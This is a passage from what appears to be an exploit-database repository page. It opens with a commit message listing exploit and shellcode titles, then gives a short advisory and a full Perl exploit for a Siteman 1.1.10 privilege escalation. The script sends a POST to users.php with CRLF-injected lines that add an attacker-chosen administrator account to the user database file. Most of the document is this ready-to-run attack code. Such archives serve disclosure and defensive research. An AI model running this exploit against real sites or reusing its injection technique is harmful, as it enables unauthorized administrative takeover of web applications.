
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
59 lines
No EOL
1.9 KiB
Perl
Executable file
59 lines
No EOL
1.9 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/12304/info
|
|
|
|
Siteman is reported prone to a vulnerability that may allow users to gain elevated privileges. This issue results from insufficient sanitization of user-supplied data.
|
|
|
|
Apparently, an attacker can supply additional lines to the stream used to write to the user database file through a URI parameter. This can allow the attacker to corrupt the user database file and potentially gain administrative privileges to the Siteman application.
|
|
|
|
Siteman 1.1.10 and prior versions are affected by this vulnerability.
|
|
|
|
#!/usr/bin/perl -w
|
|
#
|
|
# Exploit by Noam Rathaus - Beyond Security Ltd.
|
|
# Exploit for the SiteMan vulnerability discovered by: "amironline452" <amironline452@alphahackers.com>
|
|
#
|
|
|
|
use Digest::MD5 qw(md5 md5_hex md5_base64);
|
|
use IO::Socket;
|
|
use strict;
|
|
|
|
|
|
# ./siteman.pl / vulnerable.host
|
|
my $Path = shift;
|
|
my $Host = shift;
|
|
my $Username = shift;
|
|
my $Password = md5_hex(shift);
|
|
|
|
print "Path: $Path\nHost: $Host\nUsername: $Username\nPassword: $Password\n";
|
|
|
|
my $content = "do=docreate&line=%0A%0D$Username|$Password|5|$Username\@hacked.com|". "$Username|1105956827|$Username|$Password|0|0|0|hackers%0A%0D";
|
|
|
|
my $request = "POST $Path/users.php HTTP/1.1\r
|
|
Host: $Host\r
|
|
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040928 Firefox/0.9.3\r
|
|
Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.5\r
|
|
Accept-Language: en-us,en;q=0.5\r
|
|
Accept-Encoding: gzip,deflate\r
|
|
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
|
|
Content-Length: ".length($content)."\r
|
|
Content-Type: application/x-www-form-urlencoded\r
|
|
Connection: close\r
|
|
\r
|
|
$content";
|
|
|
|
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $Host, PeerPort => "8080");
|
|
|
|
unless ($remote) { die "cannot connect to http daemon on $Host" }
|
|
|
|
print "connected\n";
|
|
|
|
print "request: [$request]\n";
|
|
print $remote $request. "\r\n";
|
|
|
|
while (<$remote>)
|
|
{
|
|
print $_;
|
|
}
|
|
|
|
close ($remote);
|
|
|
|
print "\n\n--- done ---\n"; |